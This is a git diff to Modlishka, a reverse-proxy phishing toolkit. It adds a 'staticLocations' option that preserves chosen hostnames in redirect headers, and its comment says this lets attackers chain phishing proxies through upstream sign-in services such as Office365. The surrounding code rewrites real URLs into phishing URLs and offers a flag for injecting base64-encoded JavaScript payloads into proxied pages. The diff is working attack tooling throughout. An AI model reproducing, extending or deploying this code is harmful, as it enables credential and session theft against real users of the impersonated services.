diff --git a/config/config.go b/config/config.go index b5bfbd7..c38c7ba 100644 --- a/config/config.go +++ b/config/config.go @@ -29,6 +29,7 @@ type Options struct { ListeningPortHTTP *int `json:"listeningPortHTTP"` ListeningPortHTTPS *int `json:"listeningPortHTTPS"` ProxyAddress *string `json:"proxyAddress"` + StaticLocations *string `json:"staticLocations"` Target *string `json:"target"` TargetRes *string `json:"targetResources"` TargetRules *string `json:"rules"` @@ -73,6 +74,7 @@ var ( JsRules: flag.String("jsRules", "", "Comma separated list of URL patterns and JS base64 encoded payloads that will be injected - e.g.: target.tld:base64(alert(1)),..,etc"), ProxyAddress: flag.String("proxyAddress", "", "Proxy that should be used (socks/https/http) - e.g.: http://127.0.0.1:8080 "), + StaticLocations: flag.String("staticLocations", "", "FQDNs in location headers that should be preserved."), TrackingCookie: flag.String("trackingCookie", "id", "Name of the HTTP cookie used for track the client"), TrackingParam: flag.String("trackingParam", "id", "Name of the HTTP parameter used to set up the HTTP cookie tracking of the client"), diff --git a/core/.proxy.go.swp b/core/.proxy.go.swp new file mode 100644 index 0000000..b97d6a2 Binary files /dev/null and b/core/.proxy.go.swp differ diff --git a/core/proxy.go b/core/proxy.go index f36800f..f7ba394 100644 --- a/core/proxy.go +++ b/core/proxy.go @@ -257,32 +257,78 @@ func (httpResponse *HTTPResponse) PatchHeaders(p *ReverseProxy) { if len(httpResponse.Header["WWW-Authenticate"]) > 0 { oldAuth := httpResponse.Header.Get("WWW-Authenticate") newAuth := runtime.RegexpUrl.ReplaceAllStringFunc(oldAuth, runtime.RealURLtoPhish) - log.Debugf("Rewriting WWW-Authenticate: from \n[%s]\n --> \n[%s]\n", oldAuth, newAuth) httpResponse.Header.Set("WWW-Authenticate", newAuth) } - //handle 302 - if httpResponse.Header.Get("Location") != "" { - oldLocation := httpResponse.Header.Get("Location") - newLocation := runtime.RegexpUrl.ReplaceAllStringFunc(string(oldLocation), runtime.RealURLtoPhish) + // ---- Handle 302 redirects ---- + /* + It's often useful to chain Modlishka instances, enabling one to proxy for multiple + applications to achieve some objective. This becomes possible by preventing translation + of FQDN in the original location header to one of our choosing. This is particularly + useful when a base landing page forwards the user to an upstream authentication service + such as Office365, which will redirect the user back to the original service once + authentication is finished. + */ + + // Get the current Location header + oldLocation := httpResponse.Header.Get("Location") + if oldLocation != "" { + // Copy the original location to receive updates for the upstream location + newLocation := oldLocation[:] + + // Force HTTPS if configured to do so if runtime.ForceHTTPS == true { newLocation = strings.Replace(newLocation, "http://", "https://", -1) } else if runtime.ForceHTTP == true { newLocation = strings.Replace(newLocation, "https://", "http://", -1) } - if len(runtime.TargetResources) > 0 { - for _, res := range runtime.TargetResources { - newLocation = strings.Replace(newLocation, res, runtime.RealURLtoPhish(res), -1) - } - } + if len(runtime.ReplaceStrings) > 0 { + + log.Debugf("Patching Location header for static redirect") + for k, v := range runtime.ReplaceStrings { + newLocation = strings.ReplaceAll(newLocation,k,v) + } + + } + + // Handle static location values + // This flag will determine if real FQDNs in the location header should + // be translated into phish FQDNs + static_location := false + if len(runtime.StaticLocations) > 0 { + for _, v := range runtime.StaticLocations{ + log.Debugf("Searching location for static signature: %s --> %s",v,newLocation) + if strings.Contains(newLocation,v) { + static_location = true + break + } + } + } + + // Translate to Phish URL if the location is not a static location + // This logic is added to enable controlled redirects to upstream Modlishka instances + if !static_location { + log.Debugf("Patching Location header for non-static redirect") + newLocation = runtime.RegexpUrl.ReplaceAllStringFunc(string(oldLocation), runtime.RealURLtoPhish) + if len(runtime.TargetResources) > 0 { + for _, res := range runtime.TargetResources { + newLocation = strings.Replace(newLocation, res, runtime.RealURLtoPhish(res), -1) + } + } + } + + // Apply the new header + httpResponse.Header.Set("Location", newLocation) + // Log the event log.Debugf("Rewriting Location Header [%s] to [%s]", oldLocation, newLocation) - httpResponse.Header.Set("Location", newLocation) } + // ---- Finished handling 302 redirects ---- + return } diff --git a/core/server.go b/core/server.go index 84ffd80..678912f 100644 --- a/core/server.go +++ b/core/server.go @@ -27,6 +27,7 @@ import ( "net" "net/http" "strconv" + "strings" ) var ServerRuntimeConfig *ServerConfig @@ -272,6 +273,10 @@ Author: Piotr Duszynski @drk1wi log.Infof("%s", welcome) + if len(runtime.StaticLocations) > 0 { + log.Infof("Maintained Location Header Targets: %s",strings.Join(runtime.StaticLocations, ", ")) + } + go func() { server := &http.Server{Addr: httplistener, Handler: HTTPServerRuntimeConfig.Handler} if err := server.ListenAndServe(); err != nil { diff --git a/runtime/vars.go b/runtime/vars.go index 4578215..c72095b 100644 --- a/runtime/vars.go +++ b/runtime/vars.go @@ -39,6 +39,8 @@ var ( ForceHTTPS bool ForceHTTP bool + StaticLocations []string + //openssl rand -hex 32 RC4_KEY = `1b293b681a3edbfe60dee4051e14eeb81b293b681a3edbfe60dee4051e14eeb8` ) @@ -69,6 +71,10 @@ func SetCoreRuntimeConfig(conf config.Options) { TerminateTriggers = strings.Split(string(*conf.TerminateTriggers), ",") } + if len(*conf.StaticLocations) != 0 { + StaticLocations = strings.Split(string(*conf.StaticLocations), ",") + } + if len(*conf.TargetRules) != 0 { ReplaceStrings = make(map[string]string) for _, val := range strings.Split(string(*conf.TargetRules), ",") {